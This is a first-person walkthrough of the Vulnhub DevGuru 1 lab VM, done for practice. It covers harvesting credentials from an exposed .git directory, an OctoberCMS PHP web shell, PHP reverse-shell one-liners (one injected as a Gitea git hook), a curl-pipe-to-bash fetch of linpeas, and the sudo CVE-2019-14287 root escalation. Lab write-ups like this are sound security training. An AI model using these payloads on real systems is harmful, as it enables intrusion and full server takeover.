Vulnhub: DevGuru 1
Introduction
This is my little exercise about Linux privilege escalation and Web Security.
Objectives
- Steal sensitive information from the target
- Escalate privileges
Download
Reconnaissance
My target IP is 192.168.56.108. I will use nmap to scan the target. 
1
2
3
4
5
6
7
8
9
10
──(kali㉿vbox)-[~]
└─$ nmap -sV -p- 192.168.56.108
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 11:26 EDT
Nmap scan report for 192.168.56.108
Host is up (0.00055s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8585/tcp open http Golang net/http server
The target has 3 open ports:
- 22/tcp: SSH service
- 80/tcp: HTTP service
- 8585/tcp: HTTP service
Okey, i will start with the HTTP service on port 80. I open the web browser and go to http://192.168.56.108. And using Wappalyzer to analyze the web application and i find that the web application is written in PHP and using Laravel framework and CMS OctoberCMS. 
Let’s enumerate the directories and files in the web application using dirsearch.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
┌──(kali㉿vbox)-[~]
└─$ dirsearch -u "http://192.168.56.108/"
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460
Output File: /home/kali/reports/http_192.168.56.108/__25-05-31_11-46-26.txt
Target: http://192.168.56.108/
[11:46:26] Starting:
[11:46:31] 301 - 315B - /.git -> http://192.168.56.108/.git/
[11:46:31] 200 - 13B - /.git/COMMIT_EDITMSG
[11:46:31] 200 - 23B - /.git/HEAD
[11:46:31] 200 - 73B - /.git/description
[11:46:31] 200 - 276B - /.git/config
[11:46:32] 200 - 240B - /.git/info/exclude
[11:46:32] 301 - 325B - /.git/logs/refs -> http://192.168.56.108/.git/logs/refs/
[11:46:32] 200 - 158B - /.git/logs/HEAD
[11:46:32] 200 - 142B - /.git/logs/refs/remotes/origin/master
[11:46:32] 301 - 333B - /.git/logs/refs/remotes -> http://192.168.56.108/.git/logs/refs/remotes/
[11:46:32] 200 - 158B - /.git/logs/refs/heads/master
[11:46:32] 301 - 331B - /.git/logs/refs/heads -> http://192.168.56.108/.git/logs/refs/heads/
[11:46:32] 301 - 326B - /.git/refs/heads -> http://192.168.56.108/.git/refs/heads/
[11:46:32] 301 - 340B - /.git/logs/refs/remotes/origin -> http://192.168.56.108/.git/logs/refs/remotes/origin/
[11:46:32] 200 - 41B - /.git/refs/heads/master
[11:46:32] 301 - 335B - /.git/refs/remotes/origin -> http://192.168.56.108/.git/refs/remotes/origin/
[11:46:32] 200 - 41B - /.git/refs/remotes/origin/master
[11:46:32] 301 - 325B - /.git/refs/tags -> http://192.168.56.108/.git/refs/tags/
[11:46:32] 301 - 328B - /.git/refs/remotes -> http://192.168.56.108/.git/refs/remotes/
[11:46:32] 200 - 308KB - /.git/index
[11:46:32] 404 - 276B - /.gitignore/
[11:46:32] 200 - 413B - /.gitignore
[11:46:33] 200 - 2KB - /.htaccess
[11:46:33] 404 - 276B - /.htaccess/
[11:46:46] 200 - 3KB - /About
[11:46:46] 200 - 3KB - /about
[11:47:02] 200 - 2KB - /adminer.php
[11:47:10] 302 - 414B - /backend/ -> http://192.168.56.108/backend/backend/auth
[11:47:18] 301 - 317B - /config -> http://192.168.56.108/config/
[11:47:39] 200 - 3KB - /index.php
[11:47:51] 301 - 318B - /modules -> http://192.168.56.108/modules/
[11:48:02] 301 - 318B - /plugins -> http://192.168.56.108/plugins/
[11:48:07] 200 - 1KB - /README.md
[11:48:11] 200 - 0B - /server.php
[11:48:12] 200 - 2KB - /services
[11:48:12] 200 - 2KB - /services/
[11:48:17] 301 - 318B - /storage -> http://192.168.56.108/storage/
[11:48:23] 301 - 317B - /themes -> http://192.168.56.108/themes/
I find a lot of interesting files and directories, but the most interesting is the .git directory.
Visit the /backend directory, it redirects to /backend/backend/auth. It is login page of OctoberCMS. I try to use the default credentials admin:admin but it does not work.
Visit the /adminer.php file, it is a database management tool. I can use it to manage the database of the web application. But i need to know the credentials to login.
Temporarily, i will leave it and continue to recon the HTTP service on port 8585. I open the web browser and go to http://192.168.56.108:8585.
It is Gitea - a lightweight, self-hosted Git service written in Go. It offers a web interface for managing repositories, issues, pull requests, and users. Ideal for personal, team, or internal use, Gitea is fast, open-source, and easy to deploy.
I can see the login page. I see the version of Gitea is 1.12.5. I will try to use the default credentials gitea:gitea to login, but it does not work. Registering a new account is not allowed. So i need to find another way to get the credentials.
Exploitation to Gain Access www-data user
Researching the Gitea version, i find that it is vulnerable to CVE-2020-14144 but it requires the user to be authenticated.
Okey, remember the .git directory i found in the HTTP service on port 80? I think i can use git-dumper to dump the Git repository and get the sensitive information.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿vbox)-[~]
└─$ pipx install git-dumper
installed package git-dumper 1.0.8, installed using Python 3.13.2
These apps are now globally available
- git-dumper
done! ✨ 🌟 ✨
┌──(kali㉿vbox)-[~]
└─$ git-dumper http://192.168.56.108/.git/ devguru
...
┌──(kali㉿vbox)-[~/devguru]
└─$ ls
adminer.php bootstrap index.php plugins server.php themes
artisan config modules README.md storage
Oh shit, the adminer.php looks almost unreadable. Let’s try to discover file structure and see if we can find any configuration files that might contain the credentials.
And when i go to database.php, i found database credentials:
1
2
3
4
5
6
7
8
9
10
11
12
13
'mysql' => [
'driver' => 'mysql',
'engine' => 'InnoDB',
'host' => 'localhost',
'port' => 3306,
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
'charset' => 'utf8mb4',
'collation' => 'utf8mb4_unicode_ci',
'prefix' => '',
'varcharmax' => 191,
],
Okey, let try to login to adminer.php with the credentials october:SQ66EBYx4GT3byXH.
And in backend_users, i found frank credentials but password is encrypted $2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK.
It is a bcrypt hash with a custom salt bp5wBfbAN6lMYT27pJMomO. Try to crack it using hashcat but i can not find original password. Hmm but wait, i logged in to adminer.php successfully, why i need to crack the password? I can modify the password directly in the database.
Modify the password to new hash password and save it.
Login with the new credentials frank:frank to the OctoberCMS backend at http://192.168.56.108/backend.
Now, i go to the /backend/cms directory. It is a CMS panel of OctoberCMS. I can create create or edit pages and insert template code and php code to the page. I create a new page named shell with markup:
1
<pre>{{ this.page.myVar }}</pre>
And handle the myVar variable in the onStart method of the page:
1
2
3
4
function onStart()
{
$this->page["myVar"] = shell_exec($_GET['cmd']);
}
Let’s explain how it works:
- The
onStartmethod is called when the page is loaded. - The
shell_execfunction is used to execute a shell command passed via thecmdGET parameter. - The output of the command is assigned to the
myVarvariable, which is then displayed on the page. Now, i can execute any shell command by visiting the pagehttp://192.168.56.108/shell?cmd=<command>.
But web shell is not enough, i need to get a reverse shell. We can refer to the Reverse Shell Generator to generate a reverse shell payload. And when i try some payloads, i find the following payload works:
1
php -r '$sock=fsockopen("192.168.56.109",1234);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
I set up a listener on my Kali machine using nc:
1
2
3
┌──(kali㉿vbox)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
And then i visit the page http://192.168.56.108/shell?cmd=php -r '$sock=fsockopen("192.168.56.109",1234);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'.
To interact with the shell more effectively, i need to full TTY shell. I can use pty.spawn in Python to spawn a pseudo-terminal shell.
1
2
3
4
5
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@devguru:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@devguru:/var/www/html$
Now i have a reverse shell as www-data user.
Gain Access to frank user
Now i have a reverse shell as www-data user. Let’s read the /etc/passwd file to see the users on the system.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
www-data@devguru:/var/www/html$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
frank:x:1000:1000:,,,:/home/frank:/bin/bash
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false
Focus on the frank user, it has a home directory /home/frank and a shell /bin/bash. My current user is www-data, i can not access to the /home/frank directory. Let’s check what processes are running by the frank user.
1
2
3
4
www-data@devguru:/home$ ps -aux | grep frank
ps -aux | grep frank
frank 645 1.1 10.3 1515840 210920 ? Ssl 10:26 0:49 /usr/local/bin/gitea web --config /etc/gitea/app.ini
www-data 2148 0.0 0.0 11464 1040 pts/1 S+ 11:36 0:00 grep frank
The frank user is running the Gitea service on port 8585 that i found earlier. I think i need to find a way to switch to the frank user. But how?
Using linpeas to check the weaknesses on the system. On my machine, install linpeas and using python -m http.server to serve the linpeas.sh file.
1
2
3
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
python3 -m http.server 8000
And then on victim machine, i using curl to execute linpeas.sh from my machine.
1
curl http://192.168.56.109:8000/linpeas.sh | bash
After a while, i see the output of linpeas.sh. I find a lot of interesting information, but the most interesting is :
1
2
3
4
5
6
7
8
9
10
╔══════════╣ Backup folders
drwxr-xr-x 2 root root 4096 May 30 17:30 /var/backups
total 68
-rw-r--r-- 1 frank frank 56688 Nov 19 2020 app.ini.bak
-rw-r--r-- 1 root root 5648 Nov 19 2020 apt.extended_states.0
-rw-r--r-- 1 root root 719 Nov 18 2020 apt.extended_states.1.gz
╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 frank frank 56688 Nov 19 2020 /var/backups/app.ini.bak
Maybe the app.ini.bak is a backup file of the Gitea configuration file. I think it contains the credentials of the Gitea user. Let’s read the content of the file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@devguru:/home$ cat /var/backups/app.ini.bak
cat /var/backups/app.ini.bak
; This file lists the default values used by Gitea
; Copy required sections to your own app.ini (default is custom/conf/app.ini)
; and modify as needed.
; see https://docs.gitea.io/en-us/config-cheat-sheet/ for additional documentation.
; App name that shows in every page title
APP_NAME = Gitea: Git with a cup of tea
; Change it if you run locally
RUN_USER = frank
; Either "dev", "prod" or "test", default is "dev"
RUN_MODE = prod
...
[database]
; Database to use. Either "mysql", "postgres", "mssql" or "sqlite3".
DB_TYPE = mysql
HOST = 127.0.0.1:3306
NAME = gitea
USER = gitea
; Use PASSWD = `your password` for quoting if you use special characters in the password.
PASSWD = UfFPTF8C8jjxVF2m
...
; Password Hash algorithm, either "argon2", "pbkdf2", "scrypt" or "bcrypt"
PASSWORD_HASH_ALGO = pbkdf2
There are many information in the app.ini.bak file, we can using ChatGPT to summarize the content or explain the content of this file. And i focus on the database section, it contains the credentials of the Gitea database user gitea:UfFPTF8C8jjxVF2m and the algorithm used to hash the password is pbkdf2.
Login to database page.
Unlike the OctoberCMS database, passwords in Gitea are hashed using the pbkdf2 algorithm, which is more secure than the bcrypt algorithm used in OctoberCMS. Hmm, to steal the credentials of the frank user, i need to find a way to reset the password of the frank user in Gitea.
Hmm, i think i need to research about pbkdf2 algorithm that used to hash the password in this case. I think it more easy with ChatGPT. I ask ChatGPT to explain the pbkdf2 algorithm and how it work with the Gitea application.
Using neurotechnics tool pbkdf2-test to generate the hash of the password frank with the salt Bop8nwtUiM, the iteration count is 10000 and the key size is 50. I get the hash b1a545314e0b92f7701856f08a5c7a351b176130bddca1bec004bb771278f3e51ddfe09eabe8a1e4c292e828f338f19d4fc6.
Login to the Gitea with credentials frank:frank.
Shiet, i think this way is very complicated. I have another way to edit the password of the frank user. Hash algorithm used to hash the password in Gitea is not just pbkdf2, it also support bcrypt and argon2. I can use the bcrypt algorithm to hash the password and then update the password of the frank user in the database.
1
2
; Password Hash algorithm, either "argon2", "pbkdf2", "scrypt" or "bcrypt"
PASSWORD_HASH_ALGO = pbkdf2
I think this way is more simple. Now i logged in to the Gitea with the credentials frank:frank.
Now i can access to the Gitea web interface as frank user. Hmm, what i need to do now? Remeber the version of Gitea is 1.12.5, maybe it have some vulnerabilities that i can exploit it. Going back to the recon I did above, I mentioned that in Gitea version 1.12.5 is vulnerable to CVE-2020-14144. This vulnerability allows an authenticated user to execute arbitrary code on the server if i’m authenticated. Now i’m authenticated as frank user, i can exploit this vulnerability to get a reverse shell as frank user.
Hmm, i can use the exploit from Exploit-DB to exploit this vulnerability. But in this case, i will exploit this vulnerability manually. On this case, i will use Git hooks to exploit this vulnerability.
Git hooks are scripts that run automatically before or after specific event in a Git repository such as commit, push, or merge. They can be used to automate tasks, enforce policies, or perform custom actions. Summary, Git hooks are just simple bash scripts that run automatically when certain events occur in a Git repository.
Click on frank’s devguru-website and then settings and in side Git Hooks, paste the following payload into the pre-receive hook:
1
php -r '$sock=fsockopen("192.168.56.109",1234);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Then nc listener on my Kali machine:
1
2
3
┌──(kali㉿vbox)-[~]
└─$ nc -lvp 1234
listening on [any] 1234 ...
Now edit the README.md file and commit the changes. This will trigger the post-receive hook and execute the payload.
Okey, now i have a reverse shell as frank user.
Upgrade the shell to a full TTY shell:
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿vbox)-[~]
└─$ nc -lvp 1234
listening on [any] 1234 ...
192.168.56.108: inverse host lookup failed: Unknown host
connect to [192.168.56.109] from (UNKNOWN) [192.168.56.108] 56520
python3 -c 'import pty;pty.spawn("/bin/bash")'
frank@devguru:~/gitea-repositories/frank/devguru-website.git$ id
id
uid=1000(frank) gid=1000(frank) groups=1000(frank)
frank@devguru:~/gitea-repositories/frank/devguru-website.git$
Privilege Escalation to root user
Now i have a reverse shell as frank user. Let’s enumerate the system to find a way to escalate privileges to root user. Using sudo -l to check the sudo privileges of the frank user.
1
2
3
4
5
6
7
8
frank@devguru:~/gitea-repositories/frank/devguru-website.git$ sudo -l
sudo -l
Matching Defaults entries for frank on devguru:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User frank may run the following commands on devguru:
(ALL, !root) NOPASSWD: /usr/bin/sqlite3
The frank user can run the /usr/bin/sqlite3 command as any user except root without a password. Check GTFOBins combined with sqlite3 commands for more information on how to exploit.
But (ALL, !root) means i can not run the command as root user. Using linpeas to check the weaknesses on the system.
Linpeas highlights Sudo version 1.8.21p2. I search for vulnerabilities in this version of sudo and find that it is vulnerable to CVE-2019-14287. This vulnerability allows an unprivileged user to run commands as root by specifying a user ID of -1 or 4294967295.
Run the following command to escalate privileges to root user:
1
2
3
4
5
6
7
8
9
10
11
frank@devguru:~/gitea-repositories/frank/devguru-website.git$ sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
<.git$ sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
# id
id
uid=0(root) gid=1000(frank) groups=1000(frank)
# cd /root
cd /root
# pwd
pwd
/root
#
Nah, i got a shell as root user.
Let analyze this command: sudo: Run the subsequent command with elevated privileges. -u#-1: Attempting to impersonate the user with User ID -1, which typically refers to an invalid user. This is a part of the exploit attempting to bypass certain restrictions. sqlite3: Launch the SQLite3 command-line interface. /dev/null: Use /dev/null as an empty SQLite database file. ‘.shell /bin/bash’: This part is an attempt to execute a shell command from within the SQLite3 prompt. The .shell command in SQLite is used to run shell commands. In this case, it tries to spawn a Bash shell.
Analyzing root cause of the vulnerability:
- The vulnerability arises from the way
sudohandles user IDs and permissions, allowing an unprivileged user to execute commands as root by specifying an invalid user ID. - The specific flaw is that
sudodoes not properly validate the user ID when it is specified as -1 or 4294967295, allowing the command to be executed with root privileges. - SQLite3 is used to execute the shell command, which is a part of the exploit to gain a root shell.
References
Magellan: Remote Code Execution Vulnerability in SQLite Disclosed
Remote Execution of SQLite and Curl - BlackHat
Mitigate Security vulnerability in the git hook feature




















